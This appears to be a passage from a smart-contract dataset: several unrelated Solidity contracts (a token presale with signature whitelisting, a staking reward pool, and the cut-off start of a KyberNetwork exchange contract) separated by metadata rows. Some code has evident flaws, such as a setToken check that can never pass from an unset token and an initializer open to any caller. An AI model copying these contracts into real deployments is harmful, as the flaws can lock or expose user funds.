InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address, RecoverError) { // the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most // // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } function isOwner() public view returns (bool) { return _msgSender() == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StrudelPresale is ReentrancyGuard, Context, Ownable, Pausable { using ECDSA for bytes32; address public token; address payable public treasury; address public whitelistSigner; uint256 public rate; uint256 public ftmRaised; uint256 public endICO; uint256 public rewardTokenCount; uint256 public minPurchase; uint256 public maxPurchase; uint256 public availableTokensICO; uint256 public boughtTokensICO; uint256 public maxTokensICO; // bytes32 -> DomainSeparator bytes32 public DOMAIN_SEPARATOR; // bytes32 -> PRESALE_TYPEHASH bytes32 public constant PRESALE_TYPEHASH = keccak256("Presale(address buyer)"); struct Whitelist { address wallet; uint256 amountToReceive; uint256 ftmSpend; } mapping(address => Whitelist) public whitelist; event TokensPurchased(address indexed _beneficiary, address indexed _treasury, uint256 _amount); event StartICO(uint256 _block); event SetICO(uint256 _block); event TokenAddress(address token); event WithdrawLeftovers(address _user, uint256 _amount); event WithdrawRewards(address _user, uint256 _amount); event DistrubutedAmount(address _user, uint256 _amount); event MinPurchase(uint256 _amount); event MaxPurchase(uint256 _amount); event MaxTokensICO(uint256 _amount); event Rate(uint256 _amount); event WhitelistSigner(address _whitelistSigner); event AvailableTokensICO(uint256 _amount); event Treasury(address payable _amount); event RewardTokenCount(uint256 _amount); event ForwardFunds(address _user, uint256 _amount); modifier icoActive() { require(endICO > 0 && block.number < endICO && availableTokensICO > 0, "ICO must be active"); _; } modifier icoNotActive() { require(endICO < block.number, 'ICO is active'); _; } modifier onlyTreasury() { require(_msgSender() == treasury, 'Only treasury'); _; } constructor (address payable _treasury, address _whitelistSigner, uint256 _rate, uint256 _availableTokensICO, uint256 _rewardTokenCount, uint256 _minPurchase, uint256 _maxPurchase) public { require(_treasury != address(0), "Pre-Sale: wallet is the zero address"); treasury = _treasury; availableTokensICO = _availableTokensICO; whitelistSigner = _whitelistSigner; maxTokensICO = _availableTokensICO; rewardTokenCount = _rewardTokenCount; minPurchase = _minPurchase; maxPurchase = _maxPurchase; endICO = block.number + 999999999; rate = _rate; uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes("ORKAN")), keccak256(bytes("1")), chainId, address(this))); emit Rate(rate); emit SetICO(endICO); emit MaxPurchase(_maxPurchase); emit MinPurchase(_minPurchase); emit AvailableTokensICO(_availableTokensICO); emit MaxTokensICO(maxTokensICO); emit Treasury(treasury); } function startICOSale(uint256 _endICO, uint256 _minPurchase, uint256 _maxPurchase, uint256 _availableTokensICO) external onlyOwner icoNotActive() { require(_endICO != 0, 'Pre-Sale: The duration should be > 0'); require(_availableTokensICO > 0, 'Pre-Sale: The available tokens should be > 0'); require(_maxPurchase > 0, 'Pre-Sale: The max purchase should be > 0'); endICO = _endICO; minPurchase = _minPurchase; maxPurchase = _maxPurchase; availableTokensICO = _availableTokensICO; emit SetICO(_endICO); emit MinPurchase(_minPurchase); emit MaxPurchase(_maxPurchase); emit AvailableTokensICO(_availableTokensICO); } function setICO(uint256 _ICO) external onlyOwner { endICO = _ICO; emit SetICO(_ICO); } function buyTokens(bytes memory signature) external nonReentrant icoActive whenNotPaused payable { uint256 ftmPurchaseInWei = msg.value; uint256 tokensPurchase = getTokenAmount(ftmPurchaseInWei); _validatePurchase(signature, ftmPurchaseInWei, tokensPurchase, _msgSender()); // Amount of FTM that has been raised ftmRaised = ftmRaised + ftmPurchaseInWei; // Add person to distrubuted map and tokens bought whitelist[_msgSender()].wallet = _msgSender(); whitelist[_msgSender()].amountToReceive += tokensPurchase; whitelist[_msgSender()].ftmSpend += ftmPurchaseInWei; availableTokensICO = availableTokensICO - tokensPurchase; boughtTokensICO += tokensPurchase; emit TokensPurchased(_msgSender(), treasury, tokensPurchase); } function setToken(address _token) external onlyOwner { require(token != address(0), "Pre-Sale: Token is the zero address"); token = _token; emit TokenAddress(token); } function setDistributedAmount(address _wallet, uint256 _amountInGwei) external onlyOwner { whitelist[_wallet].amountToReceive = _amountInGwei; emit DistrubutedAmount(_wallet, _amountInGwei); } function setRate(uint256 _rate) external onlyOwner { rate = _rate; emit Rate(rate); } function setPaused(bool _paused) external onlyOwner { if (_paused) _pause(); else _unpause(); } function setAvailableTokensICO(uint256 _availableTokensICO) public onlyOwner { availableTokensICO = _availableTokensICO; emit AvailableTokensICO(_availableTokensICO); } function setWhitelistSigner(address _whitelistSigner) public onlyOwner { require(_whitelistSigner != address(0), "Pre-Sale: Invalid address"); whitelistSigner = _whitelistSigner; emit WhitelistSigner(_whitelistSigner); } function setTreasury(address payable _treasury) external onlyOwner { require(_treasury != address(0), "Pre-Sale: Invalid address"); treasury = _treasury; emit Treasury(treasury); } function setMinPurchase(uint256 _minPurchase) external onlyOwner { minPurchase = _minPurchase; emit MinPurchase(_minPurchase); } function setMaxPurchase(uint256 _maxPurchase) external onlyOwner { maxPurchase = _maxPurchase; emit MaxPurchase(_maxPurchase); } function setRewardTokenCount(uint256 _rewardTokenCount) external onlyOwner { rewardTokenCount = _rewardTokenCount; emit RewardTokenCount(rewardTokenCount); } function claimFTM() public onlyTreasury { payable(address(treasury)).transfer(address(this).balance); } function getTokenAmount(uint256 _weiAmount) public view returns (uint256) { return (_weiAmount * rewardTokenCount) / rate; } function getTokensInContract() public view returns (uint256) { return IERC20(token).balanceOf(address(this)); } function withdrawalAmount(address _beneficiary) public view returns(uint256 amount) { return whitelist[_beneficiary].amountToReceive; } function isWhitelisted(address _beneficiary, bytes memory signature) public view returns(bool) { // Verify EIP-712 signature bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PRESALE_TYPEHASH, _beneficiary)))); address recoveredAddress = digest.recover(signature); if(recoveredAddress != address(0) && recoveredAddress == address(whitelistSigner)) { return true; } else { return false; } } function withdrawLeftoversToken() external icoNotActive onlyOwner { require(IERC20(token).balanceOf(address(this)) > 0, 'Pre-Sale: Their is no tokens to withdraw'); IERC20(token).approve(address(this), IERC20(token).balanceOf(address(this))); IERC20(token).transfer(_msgSender(), IERC20(token).balanceOf(address(this))); emit WithdrawLeftovers(_msgSender(), IERC20(token).balanceOf(address(this))); } function withdrawTokens() external nonReentrant whenNotPaused icoNotActive() { require(address(token) != address(0), "Pre-Sale: Token is the zero address"); require(withdrawalAmount(_msgSender()) != 0, "Pre-Sale: Haven't bought any tokens"); require(withdrawalAmount(_msgSender()) <= getTokensInContract(), "Pre-Sale: Not enough tokens in contract to withdraw from"); IERC20(token).transfer(_msgSender(), withdrawalAmount(_msgSender())); whitelist[_msgSender()].amountToReceive = 0; emit WithdrawRewards(_msgSender(), withdrawalAmount(_msgSender())); } function _validatePurchase(bytes memory _signature, uint256 _ftmPurchaseInWei, uint256 _tokensPurchase, address _beneficiary) internal { bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PRESALE_TYPEHASH, _beneficiary)))); address recoveredAddress = digest.recover(_signature); require(recoveredAddress != address(0) && recoveredAddress == address(whitelistSigner), "Invalid signature"); require(_ftmPurchaseInWei >= minPurchase, 'Pre-Sale: Have to send at least: minPurchase'); require(_ftmPurchaseInWei <= maxPurchase, 'Pre-Sale: Have to send less than: maxPurchase'); require(availableTokensICO != 0, "Pre-Sale: No available tokens left"); require(_tokensPurchase != 0, "Pre-Sale: Value is 0"); require(_tokensPurchase <= availableTokensICO, "Pre-Sale: No tokens left to buy"); require(availableTokensICO - _tokensPurchase != 0, "Pre-Sale: Purchase amount is to high"); require((whitelist[_beneficiary].amountToReceive + _tokensPurchase) <= maxPurchase, 'Pre-Sale: Max purchase has been reached'); } }
333,582
12,182
a8db622bd5436cc68828b73829b5ede02aff92d76339ce5563818ed7de65dc7e
15,648
.sol
Solidity
false
454395313
solidproof/projects
e4944c9bb61ee5a4776813b37db72129ff648eb2
Consensus/Contracts/ConsensusPool.sol
4,115
15,369
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function add32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } function mul32(uint32 x, uint32 y) internal pure returns (uint32 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } function div(uint256 x, uint256 y) internal pure returns(uint256 z){ require(y > 0); z=x/y; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { using LowGasSafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IDistributor { function distribute() external returns (bool); } // 7.97% contract ConsensusPool { using LowGasSafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { uint256 power; uint256 number; uint256 reward; uint256 totalReward; uint256 rewardCounter; uint256 claimCounter; uint256 burnAmount; uint256 totalBurnAmount; uint256 inviteeCounter; address inviter; } struct InviteeInfo { uint256 power; uint256 claimCounterSnapshot; } struct Epoch { uint256 length; uint256 number; uint256 endBlock; uint256 distribute; } struct EpochInfo { uint256 rewardPerPower; uint256 rewardPerPowerStoredSnapshot; } address public SYNASSETS; address public sSYNASSETS; uint256 public totalPower; uint256 public rewardPerPowerStored; uint256 public totalRewardReserves; mapping(address => UserInfo) public userInfos; mapping(address => mapping(address => InviteeInfo)) public inviteeInfos; mapping(uint256 => EpochInfo) public epochInfos; Epoch public epoch; address public distributor; address public stakingContract; uint256 public constant REWARD_LIMIT = 9; uint256 public constant RATIO_DECAY = 797; // in(1/10000) uint256 public constant RATIO_DECAY_T10 = 5642; event Invited(address indexed inviter, address user); event RewardAdded(uint256 reward); event RewardBurn(address indexed account, uint256 reward); event Staked(address indexed staker, address indexed inviter, uint256 amount); event Unstaked(address indexed unstaker, address indexed inviter, uint256 amount); event RewardPaid(address indexed user, uint256 reward); function initialize (address _SYNASSETS, address _sSYNASSETS, uint256 _epochLength, uint256 _firstEpochNumber, uint256 _firstEpochBlock, address _stakingContract, address _distributor) external { require(SYNASSETS == address(0), 'AI'); require(_SYNASSETS != address(0)); SYNASSETS = _SYNASSETS; require(_sSYNASSETS != address(0)); sSYNASSETS = _sSYNASSETS; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endBlock: _firstEpochBlock, distribute: 0 }); stakingContract = _stakingContract; distributor = _distributor; } modifier onlyStakingContract() { require(msg.sender == stakingContract, 'OSC'); _; } function stake(address _staker, address _inviter, uint256 _amount) external onlyStakingContract() { if (userInfos[_staker].inviter == address(0)) { userInfos[_staker].inviter = _inviter; userInfos[_inviter].inviteeCounter ++; emit Invited(_inviter, _staker); } _inviter = userInfos[_staker].inviter; require(_inviter != address(0), 'IA'); _notifyRewardAmount(); _updateReward(_inviter); totalPower = totalPower.add(_amount); userInfos[_inviter].power = userInfos[_inviter].power.add(_amount); uint256 _powerBefore = _calcPower(_inviter, _staker); inviteeInfos[_inviter][_staker].power = _powerBefore.add(_amount); inviteeInfos[_inviter][_staker].claimCounterSnapshot = userInfos[_inviter].claimCounter; emit Staked(_staker, _inviter, _amount); } function unstake(address _unstaker, uint256 _amount) external onlyStakingContract() { address _inviter = userInfos[_unstaker].inviter; _updateReward(_inviter); uint256 _powerBefore = _calcPower(_inviter, _unstaker); uint256 _powerAfter = _powerBefore.sub(_powerBefore.mul(_amount).div(_amount.add(IERC20(sSYNASSETS).balanceOf(_unstaker)))); totalPower = totalPower.add(_powerAfter).sub(_powerBefore); userInfos[_inviter].power = userInfos[_inviter].power.add(_powerAfter).sub(_powerBefore); inviteeInfos[_inviter][_unstaker].power = _powerAfter; inviteeInfos[_inviter][_unstaker].claimCounterSnapshot = userInfos[_inviter].claimCounter; emit Unstaked(_unstaker, _inviter, _amount); } function claimReward() external { _updateReward(msg.sender); uint256 _reward = userInfos[msg.sender].reward; if (_reward > 0) { userInfos[msg.sender].reward = 0; userInfos[msg.sender].claimCounter = userInfos[msg.sender].claimCounter.add(userInfos[msg.sender].rewardCounter); userInfos[msg.sender].rewardCounter = 0; IERC20(SYNASSETS).safeTransfer(msg.sender, _reward); uint256 _burnAmount = userInfos[msg.sender].burnAmount; if (_burnAmount > 0) { IERC20(SYNASSETS).burn(_burnAmount); emit RewardBurn(msg.sender, _burnAmount); userInfos[msg.sender].burnAmount = 0; } totalRewardReserves = totalRewardReserves.sub(_reward.add(_burnAmount)); emit RewardPaid(msg.sender, _reward); } } function _updateReward(address _account) internal { UserInfo memory _userInfo = userInfos[_account]; if (_userInfo.power > 0) { (uint256 _reward, uint256 _number, uint256 _power, uint256 _rewardCounter) = _calcReward(_userInfo); if (_rewardCounter > 0) { userInfos[_account].power = _power; totalPower = totalPower.add(_power).sub(_userInfo.power); userInfos[_account].reward = _userInfo.reward.add(_reward); userInfos[_account].totalReward = _userInfo.totalReward.add(_reward); userInfos[_account].rewardCounter = _userInfo.rewardCounter.add(_rewardCounter); } if (_number < epoch.number) { uint256 burnAmountPerPower = rewardPerPowerStored.sub(epochInfos[_number].rewardPerPowerStoredSnapshot); if (burnAmountPerPower > 0) { uint256 burnAmount = _userInfo.power.mul(burnAmountPerPower).div(1 ether); userInfos[_account].burnAmount = _userInfo.burnAmount.add(burnAmount); userInfos[_account].totalBurnAmount = _userInfo.totalBurnAmount.add(burnAmount); } } } userInfos[_account].number = epoch.number; } function _notifyRewardAmount() internal { if (epoch.endBlock <= block.number) { uint256 distribute = epoch.distribute; if (distribute > 0) { emit RewardAdded(distribute); if (totalPower == 0) { IERC20(SYNASSETS).burn(distribute); emit RewardBurn(address(0), distribute); totalRewardReserves = totalRewardReserves.sub(distribute); } else { uint256 _rewardPerPower = distribute.mul(1 ether).div(totalPower); rewardPerPowerStored = rewardPerPowerStored.add(_rewardPerPower); uint256 number = epoch.number; epochInfos[number].rewardPerPower = _rewardPerPower; epochInfos[number].rewardPerPowerStoredSnapshot = rewardPerPowerStored; } } epoch.endBlock = epoch.endBlock.add(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint256 balance = IERC20(SYNASSETS).balanceOf(address(this)); if (balance <= totalRewardReserves) epoch.distribute = 0; else epoch.distribute = balance.sub(totalRewardReserves); totalRewardReserves = balance; } } function getInfo(address _account) public view returns (uint256 claimableAmount, uint256 totalReward, uint256 power, uint256 inviteNum, uint256 burnAmount) { UserInfo memory _userInfo = userInfos[_account]; (uint256 _reward, , uint256 _power,) = _calcReward(_userInfo); return (_reward.add(_userInfo.reward), _reward.add(_userInfo.totalReward), _power, _userInfo.inviteeCounter, _userInfo.totalBurnAmount); } function _calcPower(address _account, address _invitee) internal view returns (uint256) { uint256 _claimCounter = userInfos[_account].claimCounter; InviteeInfo memory _info = inviteeInfos[_account][_invitee]; if (_claimCounter <= _info.claimCounterSnapshot) return _info.power; uint256 _t = _claimCounter - _info.claimCounterSnapshot; if (_t >= 100) return 0; uint256 _powerDecay = _info.power; uint256 _t10 = _t / 10; if (_t10 > 0) _powerDecay = _powerDecay.mul((10000 - RATIO_DECAY_T10) ** _t10).div(10000 ** _t10); uint256 _t1 = _t % 10; if (_t1 > 0) _powerDecay = _powerDecay.mul((10000 - RATIO_DECAY) ** _t1).div(10000 ** _t1); return _powerDecay; } function _calcReward(UserInfo memory _userInfo) internal view returns (uint256 reward_, uint256 number_, uint256 power_, uint256 rewardCounter_) { uint256 _number = epoch.number; reward_ = 0; number_ = _userInfo.number; power_ = _userInfo.power; rewardCounter_ = 0; for (; number_ < _number && _userInfo.rewardCounter.add(rewardCounter_) < REWARD_LIMIT; number_ = number_.add(1)) { reward_ = reward_.add(epochInfos[number_].rewardPerPower.mul(power_).div(1 ether)); power_ = power_.mul((10000 - RATIO_DECAY)).div(10000); rewardCounter_ ++; } number_ = number_.sub(1); } }
172,783
12,183
d071fd6a4bc6de0bc4d381a1cc652a638088d662e5d47cd9b56d52e62e24c879
21,379
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x5ee0e9a86f17a235ace5e116394aab940d0d2593.sol
4,845
20,451
pragma solidity 0.4.18; contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } event AdminClaimed(address newAdmin, address previousAdmin); function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } interface KyberReserveInterface { function trade(ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } contract Withdrawable is PermissionGroups { event TokenWithdraw(ERC20 token, uint amount, address sendTo); function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin { require(token.transfer(sendTo, amount)); TokenWithdraw(token, amount, sendTo); } event EtherWithdraw(uint amount, address sendTo); function withdrawEther(uint amount, address sendTo) external onlyAdmin { sendTo.transfer(amount); EtherWithdraw(amount, sendTo); } } contract KyberNetwork is Withdrawable, Utils { uint public negligibleRateDiff = 10; // basic rate steps will be in 0.01% KyberReserveInterface[] public reserves; mapping(address=>bool) public isReserve; WhiteListInterface public whiteListContract; ExpectedRateInterface public expectedRateContract; FeeBurnerInterface public feeBurnerContract; uint public maxGasPrice = 50 * 1000 * 1000 * 1000; // 50 gwei bool public enabled = false; // network is enabled mapping(address=>mapping(bytes32=>bool)) public perReserveListedPairs; function KyberNetwork(address _admin) public { require(_admin != address(0)); admin = _admin; } event EtherReceival(address indexed sender, uint amount); function() public payable { require(isReserve[msg.sender]); EtherReceival(msg.sender, msg.value); } event ExecuteTrade(address indexed sender, ERC20 src, ERC20 dest, uint actualSrcAmount, uint actualDestAmount); /// @notice use token address ETH_TOKEN_ADDRESS for ether /// 